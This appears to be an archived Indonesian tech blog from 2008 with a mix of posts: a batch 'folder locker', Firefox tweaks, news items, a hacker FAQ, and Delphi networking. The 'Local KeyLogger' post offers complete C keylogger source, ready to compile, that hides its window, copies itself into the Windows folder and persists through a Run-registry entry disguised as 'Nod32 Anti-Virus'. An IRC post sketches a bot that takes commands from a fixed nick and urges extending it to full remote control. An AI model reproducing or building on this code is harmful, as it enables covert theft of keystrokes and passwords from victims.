Sabtu, 19 Juli 2008

Lock your Folder with Password without any software

cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel." goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK < br /> if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel."
attrib +h +s "Control Panel."
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel."
ren "Control Panel." Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End

* Now paste it in notepad.
o Save it as batch file(with extension .bat).Any name will do.
o Now you see a batch file. Double click it to create a folder locker.
o A new folder named Locker would be formed at the same location.
o Now brings all the files you want to hide in the locker folder.
o Now double click the batch file to lock the folder namely Locker.
o If you want to unlock your files,double click the batch file again and you would be prompted for password.Enter the password and enjoy access to the folder.

Rabu, 09 Juli 2008

Menambah Kecepatan Browser FireFOx

Hehehe... \"\\"Laughing\\"\" ternyata Mozilla itu setelah di di Paksa2 kiNerjanya bisa di tambah Lho.. khusunya bagi yang pingin punya usaha warnet , jadi kinerja bandwich itu sendiri gak terlalu di makan.mo tau caranya ?? ikuti langkag gw ( sI_GanTeNG )di address bar kalian ketik about:config disitu akan di tampilkan semua tentang konfigurasi firefox ....

lalu kalian cari
network.http.pipelining
network.http.proxy.pipelining
network.http.pipelining.maxrequests



Dari sini sebenernya fungsi normalnya browser hanya akan melakukan sekali request ke server untuk itu kita ubah confignya yang false menjadi true seperti berikut ini

Set "network.http.pipelining" to "true"
Set "network.http.proxy.pipelining" to "true"

Lalu ubah nilai
Set "network.http.pipelining.maxrequests" requestnya menjadi 50. ini artinya akan melalukan 50 request. (tergantung kalian mau ubah jadi berapa..)

Terakhir kalian buat "nglayout.initialpaint.delay" buat valuenya "0"
Ini fungsinya untuk waktu browser menunggu dalam menerima file jadi dengan gini dia akan lebih cepat dengan tidak menunggu waktu yang lama...kalo ga ada ya tambah sendiri dong . klik kanan new > integer
ok deh sampai disini aja yach...

Selasa, 08 Juli 2008

Local KeyLogger

Ini ada sedikit source untuk yang suka main2 dengan yang namanya keylogger. Ini script tinggal di compile aja yah, silahkan dikembangin jika ada yang ingin mengembanginnya..

Code :
===========start================
#include
#include
#define KEY "c:\windows\Nod32Bak.exe"
#define LOG "c:\log.txt"

int keylogging(void)
{
short lul;
while(1)
{
Sleep(5);
for(lul=8;lul<=222;lul++)
{
if(GetAsyncKeyState(lul)==-32767)
{
FILE *fp;
fp = fopen(LOG,"a+");
if(fp == NULL)
{
return 1;
}
if(fp != NULL)
{
if((lul >= 39) && (lul <= 64))
{
fputc(lul,fp);
fclose(fp);
break;
}
else if((lul > 64) && (lul < 91))
{
lul+=32;
fputc(lul,fp);
fclose(fp);
break;
}
else
{
switch(lul)
{
case VK_SPACE:
fputc(' ',fp);
fclose(fp);
break;
case VK_SHIFT:
fputs("[SHIFT]",fp);
printf("[SHIFT]");
fclose(fp);
break;
case VK_RETURN:
fputs(" [ENTER]",fp);
fclose(fp);
break;
case VK_BACK:
fputs("[BACKSPACE]",fp);
fclose(fp);
break;
case VK_TAB:
fputs("[TAB]",fp);
fclose(fp);
break;
case VK_CONTROL:
fputs("[CTRL]",fp);
fclose(fp);
break;
case VK_DELETE:
fputs("[DEL]",fp);
fclose(fp);
break;
case VK_OEM_1:
fputs("[;:]",fp);
fclose(fp);
break;
case VK_OEM_2:
fputs("[/?]",fp);
fclose(fp);
break;
case VK_OEM_3:
fputs("[`~]",fp);
fclose(fp);
break;
case VK_OEM_4:
fputs("[ [{ ]",fp);
fclose(fp);
break;
case VK_OEM_5:
fputs("[\|]",fp);
fclose(fp);
break;
case VK_OEM_6:
fputs("[ ]} ]",fp);
fclose(fp);
break;
case VK_OEM_7:
fputs("['"]",fp);
fclose(fp);
break;
case VK_NUMPAD0:
fputc('0',fp);
fclose(fp);
break;
case VK_NUMPAD1:
fputc('1',fp);
fclose(fp);
break;
case VK_NUMPAD2:
fputc('2',fp);
fclose(fp);
break;
case VK_NUMPAD3:
fputc('3',fp);
fclose(fp);
break;
case VK_NUMPAD4:
fputc('4',fp);
fclose(fp);
break;
case VK_NUMPAD5:
fputc('5',fp);
fclose(fp);
break;
case VK_NUMPAD6:
fputc('6',fp);
fclose(fp);
break;
case VK_NUMPAD7:
fputc('7',fp);
fclose(fp);
break;
case VK_NUMPAD8:
fputc('8',fp);
fclose(fp);
break;
case VK_NUMPAD9:
fputc('9',fp);
fclose(fp);
break;
case VK_CAPITAL:
fputs("[CAPS LOCK]",fp);
fclose(fp);
break;
default:
fclose(fp);
break;
}
}
}
}
}
}
}
int main(int argc, char **argv)
{
CopyFile(argv[0], KEY, 0);

HWND own = FindWindow(0,argv[0]);
ShowWindow(own, SW_HIDE);

HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\Mcft\Windows\CurrentVersion\Run",0,KEY_SET_VALUE,&hKey);
RegSetValueEx(hKey,"Nod32 Anti-Virus",0,REG_SZ,(const unsigned char*)KEY,sizeof(KEY));
RegCloseKey(hKey);

CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)keylogging,0,0,0);
system("pause");
}
=============END==============

semoga bermanfaat

CARA MUDAH MENGAMBIL VIDEO ( HAMPIR DI SEMUA SITUS )

Banyak tutorial yang mengajarkan Anda dalam mengambil video di suatu situs. Namun sebenarnya ada cara yang lebih mudah.

Tak perlu repot dan mengandalkan monitoring komputer.



Ada beberapa tools yang dapat digunakan pada tutorial kali ini, namun akan saya tunjukkan tools yang paling mudah digunakan.



Tools yang saya akan gunakan bernama Free Music Zilla. Sebenarnya tools ini digunakan untuk mendownload musik dari situs seperti purevolume.com . Namun dapat digunakan untuk memonitoring dan mendownload video.



Hal pertama yang harus Anda lakukan adalah mendownload tools ini :



1. http://www.freemusiczilla.com

save di manapun Anda mau ( buat shortcut di desktop)

music zilla1

2. Jalankan tools tersebut. Buat folder untuk menyimpan hasil download. Buat " destination " ke folder tersebut

3. misalkan saya mau mendownload video dari youtube.

linknya :

http://youtube.com/watch?v=P1OXAQHv09E

4. Selanjutnya, Anda harus menjalankan tools music Zilla tersebut ( jalankan seperti biasa ).

5. Menontonlah seperti biasa.

6. Ketika Anda menonton, pada Music Zilla, terdapat file dari youtube ( lihat gambar atas ). Yang harus Anda lakukan adalah mendownload file tersebut. ( checklist file videonya, dan tekan tombol " download ")

7. Video tersebut pun berhasil di download.



Gampang bukan? tools ini memonitor seluruh aktivitas Anda di internet/jagat web.



Untuk mengkonvert video yang berformat .flv, Anda dapat menggunakan konverter.



http://www.koyotesoft.com adalah satu situs yang menyedakan banyak konverter.

Sabtu, 28 Juni 2008

10 orang terkaya di dunia IT

Sekian tahun berlalu, Bill Gates masih saja dikenal orang sebagai orang terkaya di dunia. Tetapi, hal tersebut akan berubah karena seorang Meksiko mengalahkan kekayaannya kurang lebih sebanyak US$8 milyar. Untuk urutan dan informasi lainnya, lihat di bawah ini:

1. Carlos Slim Helu
Pemilik beberapa perusahaan seperti Telmex, America Movil, dan Grupo Carso ini memiliki kekayaan bersih mencapai US$67,8 milyar. Mungkin nama ini masih agak asing bagi masyarakat dunia. Kekayaannya melonjak jauh sejak saham perusahaan miliknya melonjak 27% pada kuartal kedua tahun 2007 ini.

2. William H. Gates III
Kekayaan terakhir gates adalah sebesar US$59,2 milyar. Mungkinkah akibat sumbangan yang dilakukan membuatnya turun ke posisi dua? Sepertinya Gates sudah tidak mempedulikan hal itu setelah sekian lama berdiri di puncak kekayaan dunia. Sekarang saatnya untuk beramal.

3. Lawrence Ellison
Pemilik Oracle ini bertengger di posisi ketiga dengan kekayaan US$21,5 milyar. Tampaknya, ia masih akan lama mempertahankan posisinya ini karena database akan selalu digunakan.

4. Paul Allen
Dengan kekayaan US$18 milyar, Allen berada di urutan keempat orang IT terkaya dan urutan ke 19 untuk orang terkaya di dunia. Walaupun telah menjual 68 juta sahamnya di Microsoft, ia masih menyisakan sebesar 138 juta saham. Ia juga dikenal sebagai orang yang gemar melakukan investasi di segala bidang, seperti: properti, olah raga, bahkan program luar angkasa. Kapal yacht terbesar nomor 5 pun ia miliki.

5 & 6 Sergey Brin & Larry Page
Kedua raja internet ini, masing-masing memiliki kekayaan US$16,6 milyar yang jika digabungkan bisa membawa para pendiri Google ini ke posisi 3. Sudah merupakan fakta, kalau kedua konglomerat ini hanya beranjak dari sebuah halaman situs hitam putih dengan sebuah logo warna-warni.

7. Michael Dell
Jika melihat berbagai macam masalah yang dialami Dell, tentu saja sungguh menakjubkan kalau perusahaan ini masi menjadi perusahaan hardware nomor satu di dunia. Walaupun begitu, para analis agak pesimis kalau Michael bisa mempertahankan posisinya ini.

8. Steven Ballmer
Lagi-lagi orang dari Microsoft. Walaupun ukuran kantornya lebih kecil dari ukuran kamar mandi biasa, kekayaan yang sejumlah US$15 milyar itu membawanya ke posisi 8.

9. Naguib Sawiris
Sawiris merupakan dewan direksi dan CEO dari Orascom Telecom Mesir, yaitu sebuah operator jaringan GSM multinasional untuk pasar Timur Tengah, Afrika, dan Asia Selatan. Padahal, tahun lalu ia hanya berada pada urutan ke-278 untuk edisi Forbes. Kekayaannya sebesar US$10 milyar

10. Sunil Mittal
Sudah merupakan bukti, jika anda ingin menjadi konglomerat, bukalah perusahaan telekomunikasi. Mittal merupakan dewan direksi dan managing director dari Bharti Group, yang menjalankan jasa GSM terbesar di India. Ia memiliki kekayaan sebesar US$9,5 milyar dan hanya menduduki orang India terkaya keenam.

Penggabungan Rival Mobile Linux LiPS dan LiMo

The Linux Phone Standards Forum (LiPS) kemarin mengumumkan bahwa LiPS ini akan bersatu dengan The Linux Mobile Foundation (LiMo). Perpindahaan ini sebagai penggabungan yang menyederhanakan mobile Linux landscape dan mengurangi fragmensi dan redundancy.

LiPS muncul pada tahun 2005 ketika sarana untuk pembuatan standar platform APIs untuk dasar Linux mobile software. Organisasi ini didirikan oleh para anggota termasuk PalmSource, France Telecom, Orange, dan beberapa orang yang handal di dalam pasar mobile. LiPS mengeluarkan versi 1.0 dari spesifikasi API tahun kemarin.
Tidak seperti LiPS, dimana semula hanya berfokus pada standard daripada kode, LiMo Fondation menerapkan pengembangan untuk melengkapi dasar sejumlah besar Linux mobile yang dapat digunakan langsung pada handsets, pengembangan ini sebagai pengaruh teknologi open source yang popular. LiMo mempunyai daya tarik yang lebih daripada LiPS, Panasonic, Samsung, Vodafone, LG dan NTT DoCoMo. Generasi Pertama dari LiMo handsets akan tersedia bagi konsumen pada tahun ini.

Tersedianya produksi yang sudah siap dari LiMo telah membuat organisasi ini memiliki makna yang lebih relevan daripada LiPS. Beberapa member senior LiPS seperti Orange dan France Telecom bergabung dengan LiMo pada tahun ini. Di dalam keanggotaaan dan kesamaan agenda yang berhasil menjadi penggabungan tepat untuk kedua organisasi. “Kami menerima dengan senang hati member dari himpunan lembaga LiPS, sebagai momentum rasa hormat dan kehandalan bagi kelompok kami” kata Morgan Gillis seorang Executive Director LiMo.

Langkah ini akan memperbesar pengaruh LiMo dalam pasar, sekaligus langkah penting bagi kelompok ini sekarang sebagai sumber informasi dengan Google Open Handset Aliance dan pengumuman baru tentang Symbian Foundation.

Unesco Ciptakan School On Internet di Indonesia

Unesco berniat untuk memasukkan beberapa perguruan tinggi di Indonesia bersama dengan Universitas Keio, Jepang, ke dalam jaringan pendidikan berbasis Internet miliknya. Hal ini, menurut Unesco dapat mempercepat perkembangan ilmu pengetahuan dan teknologi secara global dengan metode belajar jarak jauh. Perguruan tinggi di Indonesia yang masuk dalam daftar Unesco yakni IT. Bandung, Universitas Hasanuddin Makassar, Universitas Brawijaya Malang, Universitas Syah Kuala Banda Aceh, dan Universitas Sam Ratulangi Manado.

Universitas Keio, merupakan koordinator dari program "School on Internet (SOI)" yang beranggotakan 27 perguruan tinggi dari 13 negara, termasuk Indonesia. Kerja sama antara Universitas Keio dengan 27 perguruan tinggi se-Asia Tenggara dan Unesco tertuang dalam nota kesepahaman (MoU) yang berlangsung di Roppongi Academy Hill, Tokyo pada hari Kamis (27/06) kemarin. MoU ditandatangani oleh Yuichiro Anzai, Rektor Universitas Keio dan Hubert Gijzen, Direktur UNESCO Jakarta, juga disaksikan oleh para pimpinan tertinggi se-Asean.

Menurut Hubert Gijzen, kerja sama antara Unesco dengan berbagai Universitas se-Asean dapat membuka pintu gerbang pendidikan di Asia dan Pasifik kepada banyak orang sehingga diharapkan dapat meningkatkan sumber daya pendidikan. Hubert Gijzen juga menambahkan bahwa sumber daya pendidikan atau kaum intelektual nantinya dapat langsung memperoleh bahan-bahan kuliah, riset, dan nara sumber yang berkualitas.

Adang Surahman, Wakil Rektor Senior Bidang Akademik IT. mengungkapkan, program Unesco ini merupakan terobosan cukup berarti khususnya dalam bidang pendidikan. Hal ini dikarenakan kerja sama tersebut dapat menutupi kekurangan dari sumber daya manusia Indonesia, termasuk tenaga pengajar dan hasil-hasil risetnya. Semua itu, juga dilakukan dalam rangka untuk meningkatkan kualitas pendidikan nasional. Dengan adanya program dari Unesco ini, tuntutan seperti adanya keharusan akan ruang kelas, pengajar dan peralatan peraga bisa teratasi hanya dengan melalui jaringan internet.

Bagaimana Cara Menjadi Hacker???

Tulisan ini aku buat karena aku menyadari susahnya menjadi newbie , newbie yang
nanya kesana kemari dengan harapan dapet jawaban yang jelas, tetapi malah di
kerjain, di isengin bahkan di boongin, lebih parahnya lagi kalo cuma di ajarin
cara instan, trust me ? bisa deface 1,2, 4, ... 1000 sites tidak menjadikan
kamu hacker !!! pengen terkenal ? yupe kamu berhasil !! (mohon maaf juga , jika
semua yang baca bilang kalo aku munafik,aku akuin kl aku juga pernah mendeface
,but tidak ada kata terlambat untuk menyadarinya )

Stop! jangan salah menyangka dan menuduh kalo aku sudah lebih hebat dari teman2,
dan merasa sok hebat untuk meng-gurui teman2, TIDAK! ini hanyalah apresiasi
terhadap usaha teman-teman yang mau belajar dan terus terang artikel inipun
secaragaris besar meniru artikel "HOW TO BECOME A HACKER" oleh kang "eric S R "
dan telah menyalin ulang beberapa poin penting dari artikel berlicensi GPL tsb.

Artikel inipun telah di bubuhi tambalan2 dari beberapa pertanyaan yang sering
di temui. Adapun yang aku coba lakukan adalah hanya coba mendokumentasikannya
disini dengan harapan jika ada yang memerlukannya dapat dengan mudah me-refer
ke artikel ini.

Soal Version 1.0 , aku sengaja menambahkan versi agar artikel ini tidak baku,
artinya bisa di perbaiki , dihapus, di edit, di sempurnakan sesuai dengan
masukan dari semua teman2 dan perkembangan yang terjadi nantinya .



[F.A.Q]

[0] T : Tolong Jelaskan Apa Itu HAcker ?
J : Hacker adalah: Seseorang yang tertarik untuk mengetahui secara mendalam
mengenai kerja suatu system, komputer, atau jaringan komputer."

[1] T : Maukah Anda mengajari saya cara hacking?
J : Hacking adalah sikap dan kemampuan yang pada dasarnya harus dipelajari sendiri.
Anda akan menyadari bahwa meskipun para hacker sejati bersedia membantu,
mereka tidak akan menghargai Anda jika Anda minta disuapi segala hal yang
mereka ketahui

Pelajari dulu sedikit hal. Tunjukkan bahwa Anda telah berusaha, bahwa Anda
mampu belajar mandiri. Barulah ajukan pertanyaan-pertanyaan spesifik pada
hacker yang Anda jumpai.

Jika toh Anda mengirim email pada seorang hacker untuk meminta nasihat,
ketahuilah dahulu dua hal. Pertama, kami telah menemukan bahwa orang-orang
yang malas dan sembrono dalam menulis biasanya terlalu malas dan sembrono
dalam berpikir sehingga tidak cocok menjadi hacker -- karena itu usahakanlah
mengeja dengan benar, dan gunakan tata bahasa dan tanda baca yang baik,
atau Anda tidak akan diacuhkan.

Kedua, jangan berani-berani meminta agar jawaban dikirim ke alamat email
lain yang berbeda dari alamat tempat Anda mengirim email; kami menemukan
orang-orang ini biasanya pencuri yang memakai account curian, dan kami
tidak berminat menghargai pencuri

T : Kalau begitu arahkan saya?
J : Baiklah , kamu harus belajar !!

T : Apa yang harus di pelajari ?
J : Networking (jaringan) , Programing , Sistem Operasi , Internet

T : wow, apa gak terlalu banyak tuh ?
J : Tidak, Semua itu tidak harus kamu kuasai dalam waktu cepat, basicnya yang penting
Ingat semua itu perlu proses!

T : Networking saya mulai dari mana ?
J : Pengetahuan dasar jaringan ( konsep TCP/IP) , komponen dasar jaringan, topologi
jaringan, terlalu banyak artikel yang dapat kamu baca dan buku yang bertebaran
di toko toko buku, atau kamu bisa mencoba berkunjung kesitus ilmukomputer.com

T : Untuk programing ?
J : Mungkin yang terpenting adalah 'logika' pemrograman , jadi lebih kearah
pemanfaatan logika , ada baiknya belajar algoritma , pengenalan flowchart
atau bagan alur untuk melatih logika (teoritis) serta untuk prakteknya sangat
disarankan belajar pemrograman yang masih menomer satukan logika/murni

T : Kalau begitu bahasa pemrograman apa yang harus saya pelajari awalnya?
J : Bahasa Pemrograman apapun sebenarnya sama baik, tetapi ada baiknya belajar
bahasa seperti C , Perl , Phyton, Pascal, C++ , bukan berarti
menjelek-jelekkan visual programing ( nanti kamu akan tau bedanya )
(*ini murni pengalaman pribadi)

[3] T : Bagaimana saya harus memulai programing ?
J : Kumpulkan semua dokumentasi, manual, how to , FAQ , buku , dan contoh contoh
dari bahasa pemrograman yang akan anda pelajari , Cari dan install software
yang dibutuhkan oleh bahasa tersebut (Sesuai dokumentasi) , cobalah memprogram
walaupun program yang simple, dan kamu tidak di "haramkan" untuk mengetik ulang
program contoh dengan harapan kamu akan lebih mengerti dibandingkan kamu hanya
membaca saja, cari guru, teman atau komunitas yang bisa diajak bekerja sama
dalam mempelajari bahasa tersebut ( gabung dimilis, forum khusus bahasa tsb )
, sisanya tergantung seberapa besar usaha kamu. jangan mudah menyerah apalagi
sampai putus asa.

[1] T : Apakah Visual Basic atau Delphi bahasa permulaan yang bagus?
J : Tidak, karena mereka tidak portabel. Belum ada implementasi open-source dari
bahasa-bahasa ini, jadi Anda akan terkurung di platform yang dipilih oleh vendor.
Menerima situasi monopoli seperti itu bukanlah cara hacker.

[1] T : Apakah matematika saya harus bagus untuk menjadi hacker?
J : Tidak. Meskipun Anda perlu dapat berpikir logis dan mengikuti rantai pemikiran
eksak, hacking hanya menggunakan sedikit sekali matematika formal atau aritmetika.

Anda terutama tidak perlu kalkulus atau analisis (kita serahkan itu kepada para
insinyur elektro :-)). Sejumlah dasar di matematika finit (termasuk aljabar Bool,
teori himpunan hingga, kombinasi, dan teori graph) berguna.

T : Tentang pemrograman Web , apakah harus ?
J : Yupe, dikarenakan Internet adalah dunia kamu nantinya

T : Bahasa pemrograman web apa yang sebaiknya dipelajari untuk pemula ?
J : Mungkin kamu bisa mencoba HTML, dilanjutkan ke PHP yang akan membuat kamu lebih
familiar ke programing secara penuh

T : Tentang Sistem Operasi , kenapa harus ?
J : Penguasaan terhadap suatu operating system adalah sangat penting, kenapa ?
karena itulah lingkungan kamu nantinya , perdalami cara kerja suatu operating
system , kenali dan akrabkan diri :)

T : Sebaiknya, Operating system apa yang saya perdalami?
J : mungkin kamu bisa coba linux atau BSD , selain mereka free , dukungan komunitas
juga sangat banyak sehingga kamu tidak akan di tinggal sendirian jika menemukan
masalah, dan pula kemungkinan kamu untuk dapat berkembang sangatlah besar
dikarenakan sifat "open source"

T : Untuk pemula seperti saya , apa yang harus saya gunakan ?
J : Sebaiknya jika kamu benar benar pemula, kamu bisa gunakan linux , karena baik
sistem installasinya dan Graphical User Interfacenya lebih memudahkan kamu

T : Distro apa yang sebaiknya saya gunakan dan mudah untuk pemula
J : Kamu bisa mencoba Mandrake (disarankan oleh beberapa ahli yang pernah diajak
diskusi) , tetapi kamu bisa memilih sesukamu, meskipun aku memulainya juga
dengan mandrake tetapi aku lebih comfort dengan redhat.

T : Kalau tidak bisa Menginstall linux apakah jalan saya sudah tertutup?
J : Kamu bisa mencoba menginstall vmware , cygwin atau kamu bisa menyewa shell

T : Dimana Saya bisa mendapatkan programn program tersebut
J : berhentilah bertanya , dan arahkan browser kamu ke search engine , terlalu
banyak situs penyedia jasa yang dapat membantu kamu

T : Apakah saya HArus memiliki komputer ?
Y : IYA! , kecuali kalo kamu sudah dapat berinteraksi lebih lama dengan komputer
meskipun itu bukan milik kamu, tetapi sangat baik jika memilikinya sendiri
karena , pertama : Ide yang timbul bisa setiap saat, baik programing, riset
dsb, jadi ada baiknya kamu memilikinya agar dapat langsung
menyalurkan semua ide dan pemikiran kamu
Kedua : menggunakan PC sendiri membuat kamu merasa bebas untuk
bereksplorasi dan mencoba tanpa takut merusak dsb

T : Hardware apa yang saya butuhkan ?
Y : Menginggat harga komputer sudah relatif "murah" (mohon maaf buat yang masih belum
mampu membelinya) , kamu bisa sesuaikan spesifikasinya untuk kamu gunakan

T : Internet , apakah saya harus terkoneksi ke internet?
Y : Terkadang itu perlu, tetapi jangan terlalu memaksakan , kamu memang perlu terhubung
ke internet untuk mendownload modul, bacaan, update informasi, tetapi jangan jadikan
penghalang jika kamu tidak bisa terkoneksi secara periodik, jadilah kreatif


[1] T : Berapa lama waktu yang saya butuhkan?
J : Masalah waktu itu relatif, Bergantung seberapa besar bakat dan usaha Anda.
Kebanyakan orang memperoleh keahlian yang cukup dalam delapan belas bulan
atau dua tahun, jika mereka berkonsentrasi. Tapi jangan pikir setelah itu
selesai; jika Anda hacker sejati, Anda akan menghabiskan sisa waktu belajar
dan menyempurnakan keahlian.

T : Apakah tidak bisa yang Instan ? misal Tinggal gunain tool tertentu ?
J : Hum, kamu mo jadi hacker atau cuma pemakai tools ?, kalau menggunakan tools
semua orang juga bisa!!


[1] T : Bagaimana cara mendapatkan password account orang lain?
J : Ini cracking. Pergi sana, bodoh.

[1] T : Bagaimana cara menembus/membaca/memonitor email orang lain?
J : Ini cracking. Jauh-jauh sana, goblok

[0] T : Cracker ? apa itu ?
J : Cracker adalah individu yang mencoba masuk ke dalam suatu sistem komputer
tanpa ijin (authorisasi), individu ini biasanya berniat jahat/buruk, sebagai
kebalikan dari 'hacker', dan biasanya mencari keuntungan dalam memasuki suatu
sistem

[1] T : Saya dicrack. Maukah Anda menolong saya mencegah serangan berikutnya?
J : Tidak. Setiap kali saya ditanya pertanyaan di atas sejauh ini, ternyata
penanyanya seseorang yang menggunakan Microsoft Windows. Tidak mungkin secara
efektif melindungi sistem Windows dari serangan crack; kode dan arsitektur
Windows terlalu banyak mengandung cacat, sehingga berusaha mengamankan Windows
seperti berusaha menyelamatkan kapal yang bocor dengan saringan. Satu-satunya
cara pencegahan yang andal adalah berpindah ke Linux atau sistem operasi lain
yang setidaknya dirancang untuk keamanan.

T : Apakah saya perlu komunitas ?
J : YUPE , komunitas sangat kamu perlukan, apalagi jika kamu memilih untuk berkecimpung
di dunia opensource, banyak milis yang bisa kamu ikuti, sebaiknya ikuti milis yang
spesifik sesuai dengan yang kamu gunakan. (misal linux, sesuai distro )

T : Apakah termasuk milis sekuriti ?
J : iyah ! cobalah bugtraq@securityfocus.com



ReFerensi :

[0]. *RFC1392,Internet User Glossary
[1]. How to Become A Hacker - Eric S Raymond
Terjemahan Indonesia dari How To Become A Hacker - Steven Haryanto

Mengontrol Komputer scr Remote Melalui IRC dengan VB Script

Selama ini sudah banyak aplikasi yang dibuat untuk melakukan kontrol komputer melalui nternet, salah satu contoh program yang terkenal adalah GoToMyPC (http://www.gotomypc.com).Program ini dibuat dengan tujuan agar seseorang dapat melakukan pekerjaan secara remote jarak jauh), tetapi karena server yang digunakan adalah servernya GoToMyPc maka program ini tidaklah gratis, sama halnya dengan aplikasi lainnya. Bagaimana kalau kita membuat aplikasi sendiri dengan menentukan server secara sendiri?, tentunya kita mempunyai banyak
pilihan untuk menentukan server yang gratis
Bagi Anda yang sering melakukan aktifitas chatting, mungkin aplikasi mIRC, XChat, BitchX ,
dan beberapa IRC client lainnya sudah sangat familiar dengan anda, baik itu yang berjalan di
windows ataupun yang berjalan di UNIX-side, ya... memang aplikasi tersebut merupakan
aplikasi yang sering digunakan sebagai IRC Client. IRC atau Internet Relay Chat adalah sebuah
aplikasi yang ditulis oleh Jarkko Oikarinen pada tahun 1998 di Finlandia. IRC adalah sebuah
aplikasi "system chat multi-user", jadi seseorang dapat melakukan komunikasi secara text
dengan orang lain dimanapun orang tersebut berada dalam sebuah server yang sama.
Ada banyak server yang sering digunakan seperti irc.freenode.net, atau irc.dal.net,
dan lain sebagainya. Server-server tersebut dapat Anda gunakan secara gratis, dan sebagai
aplikasi clientnya Anda bisa mendownload nya dari banyak website.

Mungkin Anda berpikir apa hubungannya antara IRC dengan mengontrol komputer?
Ada hubungannya, seperti yang tersebut di atas, bahwa IRC adalah sarana komunikasi berbasis text.
Bagaimana kalau text yang kita terima malah di kerjakan bukan hanya ditampilkan?. Secara
mudahnya begini, jadi sebagai contoh saya mengirimkan text "!msg Hello Word" kepada salah
satu user IRC dengan nick "DelaVega", maka akan sampai kepada yang punya nick "DelaVega"
tersebut text yang berisikan kalimat "!msg Hello Word", text yang sampai itu tidak diproses
secara lanjut atau hanya ditampilkan ke layar seperti biasanya. Dengan pemrograman kita dapat
membuat text "!msg Hello Word" menjadi sebuah perintah agar komputer yang kita kirimkan
pesan tersebut menampilkan sebuah kotak pesan yang bertuliskan "Hello Word", dengan syarat
program kita harus dapat melakukan hubungan ke server sehingga kita dapat mengirimkan pesan
kepada komputer tersebut. Disini saya akan memberikan sepenggal kode program menggunakan
bahasa pemrograman Visual Basic 6.0.

Untuk melakukan komunikasi data ke server IRC kita membutuhkan salah satu komponen socket pada
Visual Basic, yakni "Microsoft Winsock Control 6 (SP4)". Tambahkan komponen tersebut ke dalam
project Anda dengan cara klik menu utama Project-Components, akan tampil sebuah jendela yang
berisikan daftar komponen yang tersedia. Kemudian pilih "Microsoft Winsock Control 6 (SP4)"
dan klik tombol OK. Berikut kode pemrograman yang ditambahkan:

Kode di bawah ini digunakan untuk melakukan koneksi ke server IRC matrix.de.eu.dal.net dengan
port 7000

Private Sub cmdConnect_Click()

Winsock1.Connect "matrix.de.eu.dal.net", 7000

End Sub

Kode di bawah ini digunakan untuk mengirimkan data informasi komputer ke server dan kemudian
join ke channel #channel

========================================================================================

Private Sub Winsock1_Connect()

Winsock1.SendData "USER ZiOn@troya.comAlamat e-mail ini dilindungi dari spambot, anda harus memampukan JavaScript untuk melihatnya " & _
Winsock1.LocalHostName & " " & _
Winsock1.RemoteHost & " :celly" & vbCrLf
Winsock1.SendData "NICK " & Winsock1.LocalHostName & IP & vbCrLf
Winsock1.SendData "JOIN #channel" & vbCrLf

End Sub

========================================================================================

Kode di bawah ini digunakan untuk menerima data dari server dan melakukan penyaringan data.
Apabila pada data yang diterima terdapat text perintah maka diproses dan dikerjakan

========================================================================================

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next ' Apabila ada error lanjutkan ke baris berikutnya

Dim strData As String ' Deklarasi variabel strData bertipe String
Dim Posisi As Integer ' Deklarasi variabel Posisi bertipe Integer
Dim Pesan As String
Dim Exec As String
Dim i As String

Winsock1.GetData strData, vbString ' Ambil data dan disimpan ke variabel strData

If Mid(strData, 1, 10) = ":necrose" Then ' Jika data dikirimkan oleh nick necrose maka

i = Split(strData, ":")
Pesan = Replace(i(2), vbCrLf, "")
Posisi = InStr(Pesan, " ")
Exec = Mid(Pesan, Posisi + 1)
Pesan = UCase(Mid(Pesan, 1, Posisi - 1))

If Pesan = "!MSG" Then ' Jika data terdapat kata !MSG maka
MsgBox Exec, vbInformation, "System Administrator" ' Tampilkan kotak pesan dengan tulisan variabel Exec
End If
End If

End Sub

========================================================================================

Dengan sedikit kode yang ada di atas dapat Anda kembangkan menjadi sebuah aplikasi yang
benar-benar dapat mengontrol komputer.

Rabu, 28 Mei 2008

Networking pd Delphi

Tools dan Perlengkapan


- Delphi + Indy 9 (google it !)

- Komputer dalam jaringan (pake VMware juga bisa)

- Seperti biasa, Dream Theater dengan lagunya Octavarium


Langkah Kerja


-Berhubung kita membuat dua program, sekarang kita buat program client dulu yach


- Jalanin Delphi, buat project baru

- Di form1, tambahkan item:

- 1 Indy TCPClient

- 1 Button

- 1 Edit box

- Di event Form1-onCreate, masukkin code berikut:


IdTCPClient1.Host := '192.168.1.2'; //Ganti sesuai kebutuhan

IdTCPClient1.Port := 123; //Ganti sesuai kebutuhan

idTCPClient1.Connect;

idTCPClient1.WriteLn('Connected !');


Penjelasan:

Code di atas gunanya untuk ngasih tau idTCPClient1 bahwa hostnya 192.168.1.2 dan port 123. Perintah connect gunanya ya untuk connect ke server. Sedangkan perintah WriteLn gunanya untuk ngirim string berisi 'Connected !' ke server


- Pada event Button1-onClick, masukkin code berikut:


idTCPClient.WriteLn(Edit1.Text);


Penjelasan:

Dengan perintah WriteLn, idTCPClient1 ngirim string ke server yang isinya sama dengan text pada Edit1


OK, untuk sementara cukup dengan client.


Sekarang saatnya berpindah ke komputer server.

- Jalanin Delphi, buat project baru

- di form1, tambahkan item:

- 1 Indy TCPServer

- Di event Form1-onCreate, ketikkan code berikut:


idTCPServer1.DefaultPort := 123;

idTCPServer1.Active := True;


Penjelasan:

Property DefaultPort gunanya untuk ngasih tau idTCPServer1 bahwa default port-nya 123. Perintah Active gunanya ya untuk ngaktifin idTCPServer1


- Di event idTCPServer1-onExecute, ketikkan code berikut:


ShowMessage(AThread.Connection.ReadLn);


Penjelasan:

Perintah ShowMessage gunanya untuk menampilkan pesan dalam bentuk messagebox, isinya string yang dikirimkan dari client


Yap, that's it ! Program kita udah jadi, sekarang saatnya untuk ngeliat hasilnya.

